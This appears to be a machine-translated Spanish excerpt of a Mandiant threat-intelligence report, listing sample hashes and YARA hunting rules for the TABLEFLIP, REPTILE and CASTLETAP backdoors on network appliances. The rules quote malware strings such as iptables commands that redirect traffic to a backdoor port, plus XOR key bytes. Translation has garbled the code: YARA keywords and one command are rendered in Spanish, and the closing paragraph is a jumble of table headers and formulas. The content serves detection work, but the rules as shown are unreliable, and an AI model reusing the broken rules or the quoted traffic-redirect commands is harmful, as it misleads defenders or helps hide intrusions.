33c22b2db8c0948c67204485972d2eb856e13dca16132371337fc3534e3df16d

/bin/muestra de soporte

SHA256

abefe121e5c895bf63be80152ccbe2d7bb5ad985aa3ab989bcb7c0804b90d004

muestra de CORTEZA FINA

SHA256

2266667af7532a32b9c21c330a9fe56356ca66610e39654804a7262f2af61017

muestra de CORTEZA FINA

SHA256

4e4c5e5ca588bd84b67a37b654ec522768fa83e535ff795a5c196da8f8b9737d

Relacionados CORTEZA FINA

regla M_Hunting_Util_TABLEFLIP_1

{

meta:

autor = "Mandiante"

description = "Busca el binario TABLEFLIP"

md5="b6e92149efaf78e9ce7552297505b9d5"

instrumentos de cuerda:

$z1 = "%1$s.*%2$d" palabra completa

$x1 = "/proc/self/exe" palabra completa

$x2 = palabra completa "socket"

$x3 = "127". palabra completa

$x4 = "iptables -t nat" palabra completa

$s1 = "iptables -t nat -S PREROUTING | grep %1$s | grep %2$d || iptables -t nat -A PREROUTING -p tcp -s %1$s --dport 541 -j REDIRECT -- al puerto %2$d"

$s2 = "iptables -t nat -S PREROUTING | tail -n +2 | grep -n -E '%1$s.*%2$d' | awk -F: '{print $1}'| xargs iptables - t nat -D ENRUTAMIENTO PREVIO"

condición:

uint32(0) == 0x464c457f y tamaño de archivo < 5 MB y @x1 <= @x2 y @x2 <= @x3 y @x3 <= @x4 y ($z1 o cualquiera de ($s*) )

}

regla M_Hunting_Backdoor_REPTILE_1

{

meta:

autor = "Mandiante"

description = "Busca la variante REPTILE de puerta trasera ELF"

md5="53a69adac914808eced2bf8155a7512d"

instrumentos de cuerda:

$x1 = ";7(Zu9YTsA7qQ#vw"

$x2 = "mznCvqSBo"

$x3 = "hpaVAj2FJ"

$x4 = "%d.%d.%d.%d"

$x5 = "ARCHIVO HISTÓRICO="

$x6 = "TERMINO"

$x7 = { 58 90 AE 86 F1 B9 1C F6 29 83 95 71 1D DE 58 0D } // tomado de FE_Hunting_Linux_TINYSHELL_2_FEBeta.yara

condición:

uint32(0) == 0x464c457f y todos ellos y #x4 >= 3 y #x6 == 1 y tamaño de archivo < 15 MB

}

regla M_Hunting_Backdoor_CASTLETAP_1

{

meta:

autor = "Mandiante"

description = "Encuentra cadenas observadas en el binario CASTLETOP ELF"

md5="e2d2884869f48f40b32fb27cc3bdefff"

instrumentos de cuerda:

$x1 = ";7(Zu9YTsA7qQ#vw"

$x2 = "qWWlC0v6yYh2yxu"

$x3 = "1qaz@WSXa"

$x4 = "hpaVAj2FJ"

$x5 = "%d.%d.%d.%d"

$x6 = "ARCHIVO HISTÓRICO="

$x7 = "TERMINO"

$x8 = "/tmp/caja ocupada"

$x9 = { 58 90 AE 86 F1 B9 1C F6 29 83 95 71 1D DE 58 0D }

condición:

uint16(18) == 183 y

uint16(16) == 0x02 y

uint32(0) == 0x464c457f y 1 de ($x*) y #x5 >= 3 y #x7 == 1 y tamaño de archivo < 15 MB

}

regla M_Hunting_Backdoor_CASTLETAP_2

{

meta:

autor = "Mandiante"

description = "Encuentra un patrón de bytes relacionado con la función de decodificación XOR"

md5="e2d2884869f48f40b32fb27cc3bdefff"

instrumentos de cuerda:

$x1 = { ?? 14 40 B9 ?? B0 1D 11 ?? 10 40 B9 [5] 0C 40 B9 [5] 1F 80 52 [9] 1F 00 12 }

condición:

uint16(18) == 183 y

uint16(16) == 0x02 y

uint32(0) == 0x464c457f y cualquiera de ellos y tamaño de archivo < 15 MB

}

Enlace a fuente RSS

Los expertos de Mandiant están listos para responder a sus preguntas.

FortiGate: 6.2.7 FortiManager 6.4.7 FortiAnalyzer 6.4.7. ID Comando Cadena mágica Descripción ((año + 1900 + mes * (año + 1900)) * fecha) % 255 año: índice a partir de 1900, es decir, año_actual-1900 mes: índice a partir de 0 fecha: índice a partir de 1 byte Índice/rango Sección de carga útil Descripción Comando Descripción Familia de malware Ruta del archivo Descripción 17 03 01 01 D8 54 2F 31 struct _payload { _DWORD magic_dword1; _DWORD magic_dword2; _BYTE sin usar[3]; _BYTE xor_key; Comando _DWORD; IP _DWORD; _Palabra puerto; }; Descripción del comando Cadena mágica Descripción (mes * (año + 1900)) * día % 255 año: índice que comienza en 1900, es decir, año_actual-1900 mes: índice que comienza en 0 fecha: índice que comienza en 1 Impact Defense Evasion Credential Access Discovery Collection Execution Command y Controlar Movimiento Lateral Tipo Valores Descripción